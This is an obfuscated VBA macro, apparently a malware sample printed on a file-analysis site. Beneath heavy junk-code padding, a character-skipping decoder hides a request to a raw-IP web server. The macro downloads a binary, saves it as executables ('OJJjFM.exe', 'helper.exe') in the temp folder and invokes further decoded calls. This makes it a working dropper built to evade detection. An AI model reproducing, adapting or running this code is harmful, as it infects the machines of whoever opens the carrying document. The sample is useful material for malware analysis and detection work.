        Set kbUjeB = CreateObject(zHPgXBRS("s[cqrYi)p^tuiFnegu.BfViQlrePs#ymsVtJeEmSohbdjce)cOtb"))
    zwycHOQe = RTrim("_.!bZwX@RXPM.orBUzK")
    For KtBDnl = 0 To 99
        RaGcY = "JBo^Xjl(lac%@maJb.-" + "O-%&e^ah[#[*qWr" + "GX_?#zcgtLlk-DT&YQr"
        ErzkrZVs = Space(4)
        zwycHOQe = 387 + 1957 + 941
        BlrnC = 1089 - 1710 - 451
        zwycHOQe = UCase("zkFiYuSA%K")
        ErzkrZVs = LTrim("I z$*lCV[)")
        hUlBbrU = LTrim("KO^TUgRIipRjOdym$Pcg")
    Next KtBDnl

    For uHeabJ = 0 To 182
        RaGcY = Space(9)
        hUlBbrU = Left("CLoP[-Yo?uebh?", 5)
        mfHiIsu = Left("DlxdJryAT a)D", 4)
    Next uHeabJ

    MbsZdQxj = " )@O[?eOdgrF" + "iN@E?.)pCzr(e" + "l)v?j?kVwZ.Ri"
    mfHiIsu = 1754 - 285 - 1441
        iQTIT = kbUjeB.GetSpecialFolder(5 - 3)
    For hUhjvR = 0 To 14
        RaGcY = Space(13)
        BlrnC = UCase("JOj(D?ei-$zn")
        RaGcY = Right("q-^DIgMbU*FOP&AGIc", 3)
        ErzkrZVs = 654 - 1657 - 1315
    Next hUhjvR

    RaGcY = Space(2)
    For CdxmIF = 0 To 317
        ErzkrZVs = LTrim("#yOiHrTImn^[kw")
        MbsZdQxj = Right("V*Hr#_mTyR", 2)
        MbsZdQxj = RTrim(".A)GiDBYig]RNoaZ[")
    Next CdxmIF

    While Wzolgb < 376
        zwycHOQe = "s$wzw[-djss" + "vQXmD&A^m&sWgW" + "vUpwRU?hm_D"
        mfHiIsu = 1283 - 934 - 377
        Wzolgb = Wzolgb + 1
    Wend

        Call SYqXB.SaveToFile(iQTIT & "\\" & "OJJjFM.exe", 2)
    zwycHOQe = 1231 + 1186 + 594
    hUlBbrU = RTrim("t_ycIm.%WTShas")
    mfHiIsu = 1989 + 1272 + 1490
    ErzkrZVs = RTrim("n&Cig@xHQBkEMw?z]eE")
    kkaMwM = Right("Llx?vnvL*$.Iv%fGCqy", 4)
        XnIXjFL.Open "GE" & "T", zHPgXBRS("h#tjtTpZ:q/Z/G1L0(7-.j1s7.5R.s6V2d.W1d0R4%/NtMeIsftd.hbEiUnp"), False
    While pqxAaE < 235
        BlrnC = Left("#ia!&x[.g@o", 3)
        kkaMwM = 112 - 1315 - 461
        RaGcY = 529 + 1926 + 1638
        BlrnC = Right("x_. @ !EjSLroCD#O^D", 5)
        ErzkrZVs = RTrim("LzT]f@yqMbpzR_tDah")
        zwycHOQe = Space(17)
        mfHiIsu = RTrim("I^Gdimj#R@#")
        MbsZdQxj = Left("XR*HUJ[[?!-fWv_J%jm", 5)
        BlrnC = Right("ZEyrFf?sv(m&(ygHi", 2)
        RaGcY = 1697 + 1541 + 1709
        pqxAaE = pqxAaE + 2
    Wend

    While vSBwPw < 94
        hUlBbrU = LTrim("b&qor*TO!?A")
        BlrnC = Left("KXT.EaxJn_", 5)
        mfHiIsu = Right("-wdOAQ#kfeaL!APx", 4)
        mfHiIsu = Space(5)
        zwycHOQe = Right("otTed.wx?K&*n", 4)
        MbsZdQxj = Space(1)
        kkaMwM = "^zFqsuA^]M!H.Z?dftB#" + "F)ClwzKlG?uE" + "bhYLSHyOHwoz*"
        RaGcY = 676 - 727 - 1643
        hUlBbrU = Space(1)
        BlrnC = LTrim("EJvTMaHW?XXzVlvrnb(")
        vSBwPw = vSBwPw + 1
    Wend

    MbsZdQxj = 1288 - 832 - 1590
    mfHiIsu = "MfTUGxGTf-ZD_K_" + "-?!cTBkJuwRJ" + "mgPuszGzX)"
    RaGcY = StrReverse("rbl)@m_ SQGSbIXZm&")
        XnIXjFL.send
    For mzYckw = 0 To 55
        BlrnC = Right("^$Kt]f(BZHf%wm*SXkF", 2)
        zwycHOQe = Left("rbFm_UadTnO!XVI ", 4)
        mfHiIsu = LTrim(" B$jaqe#]EDu-g")
        kkaMwM = Left("bFG^mY&hX%DhVE-!&tn", 3)
        MbsZdQxj = RTrim("[yVgh-mJATuWQvvTWs_")
        oAlqzg = RTrim("BB@ix%*TBsJmQS(")
        oAlqzg = Space(1)
        RaGcY = "&vdGnA KYBwjAiv!V" + "ZB A%$_W!KJLeYezCnq" + "#%ZER(![co$?XF"
        kkaMwM = 1428 + 510 + 782
    Next mzYckw

    mfHiIsu = LTrim("!uFQWkEqFFjhr.(%T]%]")
    kkaMwM = Space(17)
    RaGcY = UCase("Bs[as.gGSDOlGfI")
        engcpp = XnIXjFL.responseBody
    hUlBbrU = LTrim("AB]JFIgFThk^YJsPg*")
    oAlqzg = 463 - 264 - 416
    zwycHOQe = 1752 - 460 - 691
    RaGcY = StrReverse("%-!*y CWd@XkBZk!a-")
        SYqXB.Write engcpp
    MbsZdQxj = LTrim("CIGhvhyQ*Bjq@ugO")
    For gcecGQ = 0 To 272
        zwycHOQe = Right("QTrrgUEYsj", 2)
        kkaMwM = "(GGkVK%@!.C" + "]v]_Vl^X&uHplZP" + "A@c BaKuDbNz[vG"
        hUlBbrU = StrReverse("MTAG_Mn@NA)")
    Next gcecGQ

    BlrnC = 457 - 544 - 1109
    RaGcY = Left("-SnfN[DZ^[p", 4)
    MbsZdQxj = LTrim("%AFocDzSVfBJgZ!fEY?Y")
        Call SYqXB.SaveToFile(iQTIT & "\\helper.exe", 2)
    RaGcY = Right("q_*JYxq&^-I", 4)
    hUlBbrU = LTrim("s*W[xmsgz-hkazU^")
    For WHlVnh = 0 To 298
        BlrnC = StrReverse("kC!NYbM.%MK^ h")
        kkaMwM = UCase("i[UWj?p*lgZ&_]")
    Next WHlVnh

    BlrnC = StrReverse("q#RKJzgptYS-]AuXWH")
    kkaMwM = 1896 + 518 + 686
        SYqXB.Close
    For jHnbBF = 0 To 180
        hUlBbrU = Space(1)
        RaGcY = 1619 - 1336 - 1569
        hUlBbrU = Space(10)
        zwycHOQe = StrReverse("mxUHpa?Kc-)GLOU")
        RaGcY = "!CLGzRObm?Xtv^T)D" + ")oBR?-JQnf" + "[qLqy[guZ)pa"
        MbsZdQxj = RTrim("QFX&^H&x]dlc")
    Next jHnbBF

    oAlqzg = Right("QZo@*ZmY?zuM", 3)
    For DtUIXi = 0 To 114
        hUlBbrU = 1831 + 676 + 1599
        oAlqzg = Left("m&$fpY@jUdh", 4)
        hUlBbrU = "Mf&[QILZgUq" + "fFLZjKAOYSVdSf(&[lzC" + "O]J(otqT*?jvYXjzv#"
        RaGcY = 1387 + 1562 + 1124
        RaGcY = Space(1)
        mfHiIsu = Left("[Ea x@vHFH?B%COjv", 4)
    Next DtUIXi

    mfHiIsu = "R$nmYh[L??" + "xBu] o&fYhh)-G" + "-!@uHgYYLBls"
    mfHiIsu = Left("W%^iz$ZKalUvrG$#Br", 5)
    End If
    kkaMwM = LTrim("C@x?*TPBSxszIa")
    ErzkrZVs = UCase("VZJzExPI_xv")
    ErzkrZVs = Space(13)
    zwycHOQe = RTrim("$wgk(!OJGKej")
    oAlqzg = StrReverse("#ds&lYseYrk")

    oAlqzg = StrReverse("rGAcCcRSJJrxE-viNd")
    MbsZdQxj = Left("jmpyiOZKYG]gdNVXFu", 2)
    BlrnC = RTrim("q-IBE!BTDB")
    MbsZdQxj = Left("Eh@[(#J.YSirFa$h", 2)

    While WTHwK < 488
        hUlBbrU = RTrim("NB?N^F-mcG*?PKj")
        While PzPvBX < 15
            MbsZdQxj = "LXEZOdf_TnkLk-Z" + "LJa@Mvb JK" + "sD#!h_%bdOWl"
            BlrnC = "shjN^OXDROd" + "F-hqX?kbZJ?RBeugqLnR" + "hUu_-J IYtcDldBAR"
            PzPvBX = PzPvBX + 1
        Wend

        MbsZdQxj = 220 + 1160 + 1126
        hUlBbrU = 713 + 1305 + 394
        If WTHwK = 437 Then
            Call OECWCOrE(zHPgXBRS(TjnyDWOG), "aPDKM", "OSVKKgQXb", "JYIXxiSAdl", "knBkrKbfcN")
            Call OECWCOrE(zHPgXBRS(DPkOiShO), "SpAcu", "rZFXG", "OKhuBT", "iFIbr")
            ErzkrZVs = Space(9)
            kkaMwM = Right("ml&sMppAAP", 3)
        End If
    WTHwK = WTHwK + 1
    Wend
End Sub

Private Function zSVpzg(Sipkrr As Double, ebQvLRM As Integer) As String
    MbsZdQxj = LTrim("xwoJg_PV_&VLUtSgdl")
    RaGcY = Left("psS osh!cwsshd", 2)
    kkaMwM = StrReverse("wqskS)--z?HL")
    BlrnC = RTrim("?.fiZRfE]#wA")
    MbsZdQxj = Space(5)
    mfHiIsu = 1695 + 251 + 590
    kkaMwM = Right("K$QVfTclWbD($Gw?F&G)", 2)
    zwycHOQe = RTrim("o%b%xTspXz")
    MbsZdQxj = 1584 - 543 - 168
    ErzkrZVs = LTrim("GUz%dCp@Bkb@")
    oAlqzg = "P(P!^be)fLDsWosTtliZ" + "u)JhAMIfJYTwX(!?g" + "rKi#_?An.IzMA"
    mfHiIsu = 144 - 1691 - 1891
    For JHbboY = 0 To 203
        BlrnC = 138 + 133 + 1727
        RaGcY = LTrim("yWihwBjn#jl?Pbh")
        oAlqzg = RTrim("GfN-vFAvRzqSUgD&")
        MbsZdQxj = LTrim("-FIPJDMf$HDEd(lsCCi")
        MbsZdQxj = LTrim("yMNg#bk_nPW$")
        kkaMwM = LTrim("LqtV)WnRU]-lr%")
        MbsZdQxj = 1130 - 732 - 206
        zwycHOQe = 1602 - 327 - 464
    Next JHbboY

    zwycHOQe = LTrim("-mEOs%S&TM%QQjJm?")
    zwycHOQe = UCase("U-dYPC?VAm)BNS")
    While zaICky < 21
        MbsZdQxj = UCase("T# zpMmjqd")
        hUlBbrU = LTrim("KkRAarB!CR")
        zwycHOQe = 1425 - 1130 - 1410
        ErzkrZVs = UCase("bVAgctjL&p.mrWJv")
        zaICky = zaICky + 3
    Wend

    For pBFojm = 0 To 16
        MbsZdQxj = UCase("v%E.cNme(id")
        mfHiIsu = 351 + 1287 + 1322
        RaGcY = Left("uC]- M-rIl&._pBc", 2)
        zwycHOQe = RTrim("Ub?qlxEipLy(O.P[")
        RaGcY = Left("qH.U)z$]LXIt", 2)
        oAlqzg = Right("h -VygK@.(V_", 2)
        kkaMwM = UCase("*dBIh(j(BR")
        hUlBbrU = Space(11)
        ErzkrZVs = "^M&UR )NxIR@[" + "Ft$q__H)qv" + "OG IJ-QYWCLc-p?.adJ"
    Next pBFojm

    MbsZdQxj = StrReverse("M^M%HfmhGA&Doj")
    While EMjVhu < 298
        RaGcY = 973 + 412 + 1607
        mfHiIsu = LTrim("Ro wTLiM-&-eB")
        kkaMwM = 581 + 1421 + 1578
        kkaMwM = UCase("#d[MjDleu?!tg")
        BlrnC = 1789 - 804 - 835
        RaGcY = UCase("fyOPTp @X)FrEUxJ")
        hUlBbrU = UCase("j*#$[VIEv^")
        BlrnC = "gRJK?RdUvYR@zDUkU" + "mkh^[#FA[s*^yOE?@E" + "YvpJ(XxEf.UTXea-"
        oAlqzg = Right("RDXZJ%^ B(GHFQHZR]_^", 2)
        oAlqzg = Space(19)
        EMjVhu = EMjVhu + 2
    Wend

    For mBsxHN = 0 To 78
        RaGcY = 245 + 442 + 660
        oAlqzg = LTrim("ve@LG(_]^VyPa")
        ErzkrZVs = 1784 + 460 + 1496
        oAlqzg = LTrim("iZqDf?QH)kNmBu@xWrg")
        kkaMwM = LTrim("cyB-H)_YMa")
        oAlqzg = 789 - 1531 - 583
        oAlqzg = StrReverse("hOseqfl(WK@fa)^")
        kkaMwM = Left("sXxdX$AQYPtY@YleYbR", 5)
        zwycHOQe = LTrim("ap(sna-Q?z")
        mfHiIsu = 1273 + 882 + 728
    Next mBsxHN

    kkaMwM = LTrim("DvRq^I?qfEkY-*eDj")
    hUlBbrU = 1825 - 1899 - 880
    RaGcY = Left("&VfSofFFUQ)", 5)
    oAlqzg = 896 - 1036 - 123
    For BskHeE = 0 To 70
        MbsZdQxj = Right("jOapGotF-[#otzQc", 3)
        zwycHOQe = Left("rg CgsGzNd", 5)
        zwycHOQe = "FoFubRZ!-a[%w" + "nuqQgHWD.&FkCt" + "TJZVFURoC_agoin fYzc"
        zwycHOQe = RTrim("cABvkgiWTI.%IaqOXhM")
        zwycHOQe = Space(19)
        kkaMwM = Left("jgaW.O!!zi$rD", 3)
        mfHiIsu = UCase("(MY@#t@rjNz")
    Next BskHeE

    RaGcY = 166 - 267 - 1325
    zwycHOQe = LTrim("r P#Qi.$C?WZt^lz")
    kkaMwM = 1486 + 344 + 332
    For LICZJD = 0 To 256
        zwycHOQe = "_NPx[jERWtQ$hNw" + "vxs$]wGBptaYi(ro" + "js*LeDAV%_[GYXybB.%"
        RaGcY = Space(2)
        mfHiIsu = 452 + 1139 + 447
        hUlBbrU = RTrim("yezVUnICUwwh%")
    Next LICZJD

    ErzkrZVs = UCase("Nq@_yg]*o(B.")
    zSVpzg = "amdvvdWWuRtNuxtqhMeFBFgLESuYFu"
End Function

Private Sub FcGpwG(vvpHoo As Boolean, Pzgvvk As Integer)
    zwycHOQe = Right("V%oTR_UVorsGCCnje", 4)
    zwycHOQe = RTrim("K-]vmKxg$fX!Znl")
    RaGcY = StrReverse("_ZyYdO.)FL]cobBaQ")
    oAlqzg = Space(9)
    RaGcY = LTrim("c%_?XW&d?VE")
    MbsZdQxj = "Y[r)?xAhOR" + "hQG^XdUBWA&yyyd" + "$&!ExKkPT.hpu)"
    kkaMwM = RTrim("ZZ y.xAVOv-VUhLPp")
    ErzkrZVs = LTrim("ZN?vyNoLJxgB.vxL")
    oAlqzg = "y^QZPjhTfwV*yDdFEU" + "F.zxlxavI!$Q" + "?k^?)_XviMeWUrue"
    MbsZdQxj = Space(14)
    oAlqzg = 1788 - 1791 - 700
    oAlqzg = 1455 + 1066 + 1391
    RaGcY = "RuAAjWK-O*r" + "pEQatvZ lUuj#" + "uo EsdRz]Zt$RYjMs"
    MbsZdQxj = 183 + 1805 + 1265
    zwycHOQe = UCase("kf ^Ma]P)j%vtqjsk")
    While PqTWCc < 396
        mfHiIsu = "$I^TSw[pds*RHyJ[pqx" + "yZGxygohtY" + "^ccIdi#fYHmpgMZLf"
        zwycHOQe = 1624 - 1720 - 1917
        RaGcY = StrReverse("](NS#?ewHzYTL%ugYp")
        hUlBbrU = LTrim("iblot]OE]Lz!")
        PqTWCc = PqTWCc + 1
    Wend

    hUlBbrU = LTrim("bhyc))rJXY#T")
    RaGcY = UCase("]*D[dDB$KQIudA)")
    BlrnC = 971 + 964 + 1045
    While pgvErN < 259
        hUlBbrU = LTrim("XAyBFA!%fEma")
        kkaMwM = StrReverse("%AOypn@-e!aOI%N-vfQG")
        mfHiIsu = "vfee*x?kU!qWTD(cet" + "p@_].zQmhjDow" + "RChx&% !D[rEN"
        MbsZdQxj = UCase("m%UE@avBZwRThg")
        pgvErN = pgvErN + 3
    Wend

    RaGcY = Left("haBdOz@ dfF?@o", 3)
    RaGcY = LTrim("ec*yO@a@x(EUVMA")
    hUlBbrU = "g.-]Av)t&KT" + "BioLUvQAq[?BUSJVjYG[" + "DIbWQ]?EFFvFXc!&]*"
    oAlqzg = Right("taCGMy((Wrq_d ", 3)
    BlrnC = LTrim("kTPXAHgT][)dCJvhxri")
    ErzkrZVs = StrReverse("gty!KSIOSnJ&Lad$e")
End Sub

Public Function zHPgXBRS(iTrknM As String) As String
mfHiIsu = RTrim(" VpBaPnKhCw")
hUlBbrU = UCase("Vip((bh(cPsdeLO.A(si")
zwycHOQe = StrReverse("t*dQO ]ULqrQ.PV-")
zwycHOQe = LTrim("d]l  ?]SsvR[UQrF#*")
    Dim DnndQZ() As Byte
    kkaMwM = LTrim("fCqMe(VKO?ez$.gSEK")
    For RTyRdg = 0 To 139
        ErzkrZVs = RTrim("Z%E_vTjQZP ")
        ErzkrZVs = UCase("LzVAZSJ@rEg*ROM")
        zwycHOQe = 717 - 725 - 724
        ErzkrZVs = "hFSP.)YHZYF[" + "OBt@OQ)KKtW!^bBg" + "$T pqrIiCRpwOdQE"
        oAlqzg = Right("X%wL##r%XZDBM&CyIf_@", 4)
        zwycHOQe = 519 - 404 - 331
    Next RTyRdg
    mfHiIsu = 1335 - 1291 - 1030
    Dim XwaZrvJ(614) As Byte
    nLxRS = 0
    For Slrfpu = 0 To 176
        mfHiIsu = 1958 - 1576 - 158
        BlrnC = RTrim("gJ z*h*Pjw&-$]")
        MbsZdQxj = UCase("($iJQKZY^)YR")
        BlrnC = Space(14)
        ErzkrZVs = UCase("CC[E!iuA?SG(p%")
        zwycHOQe = Left("KP_g^gI%jSJp?^", 5)
        BlrnC = 172 + 1359 + 986
    Next Slrfpu
    For eqfotx = 0 To 69
        hUlBbrU = StrReverse("mOSotavd-LLaRAd?x")
        BlrnC = 1355 + 1866 + 401
        ErzkrZVs = Left("zZHdy(lr^cFiBg_EA", 4)
        hUlBbrU = LTrim("rjChWlR]sgrB")
    Next eqfotx
    ErzkrZVs = StrReverse("bwzR[xs(lS")
    DnndQZ = StrConv(iTrknM, vbFromUnicode)
    While MmqSRt < 103
        kkaMwM = "GLb_HCmeNj*yk" + "*bKnp?WzIP" + "m]DTYW%[U(C(gz"
        ErzkrZVs = LTrim("R(nQJpz*.$OdPP&Tyb")
        MmqSRt = MmqSRt + 2
    Wend
    ErzkrZVs = Left("F[uB!_Wsvbs", 5)
    MbsZdQxj = UCase("HQq!@UO(wKIH")
    zwycHOQe = Space(19)
    zwycHOQe = StrReverse("NR%QspxjaPGiv[@.")
    For fzFvE = 0 To UBound(DnndQZ) - 1
    For MDBgpZ = 0 To 316
        mfHiIsu = 2000 - 806 - 464
        zwycHOQe = 823 - 1827 - 703
        oAlqzg = LTrim("hW^_F&^cmTRlbfFp)kj")
        RaGcY = Space(14)
        oAlqzg = UCase("wiY]Xsj_GjfJz")
        mfHiIsu = RTrim("$Lbwp&mBJAcY")
        ErzkrZVs = RTrim("-qxyoFmvxOLO?nW")
        RaGcY = LTrim("iGnU*_QvHoAa")
    Next MDBgpZ
    ErzkrZVs = UCase("xF.PzyeKxJUEmK_Z")
    hUlBbrU = UCase("hH-JqdA-[xPG")
    mfHiIsu = 1937 + 261 + 773
        If (fzFvE Mod 2 = 0) Then
            XwaZrvJ(nLxRS) = DnndQZ(fzFvE)
            nLxRS = nLxRS + 2 - 1
        End If
        While gZCMZO < 280
            hUlBbrU = "dBlfHEB]s$y" + "Wb?t?kUeeP*&suQ Aps&" + "HF[Ku^bOIaiA)v.IB#"
            ErzkrZVs = LTrim("x(jnIT#@mXB(YcM")
            zwycHOQe = UCase("SQLAll CN&wueV^wu")
            gZCMZO = gZCMZO + 2
        Wend
        For FQrJZr = 0 To 113
            MbsZdQxj = Right("]ImN wYT]WJ*uApNq", 3)
            MbsZdQxj = 513 - 1255 - 652
            RaGcY = 130 + 887 + 1460
            kkaMwM = LTrim("q%%uFJ]^mMwktdkdQgu")
            ErzkrZVs = 1463 - 958 - 1669
            zwycHOQe = UCase("A-Q?pmqhKN_fQSlB-")
            hUlBbrU = Left("OeW.Ome@rE", 5)
            mfHiIsu = 395 + 1935 + 719
            RaGcY = RTrim("UlblSrz&LCI(POHm-XIB")
        Next FQrJZr
    Next fzFvE
    oAlqzg = 1177 - 1134 - 826
    MbsZdQxj = Right("hPLSXdfM.hK#tPo", 5)
    ErzkrZVs = Space(17)
    zHPgXBRS = StrConv(XwaZrvJ, vbUnicode)
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.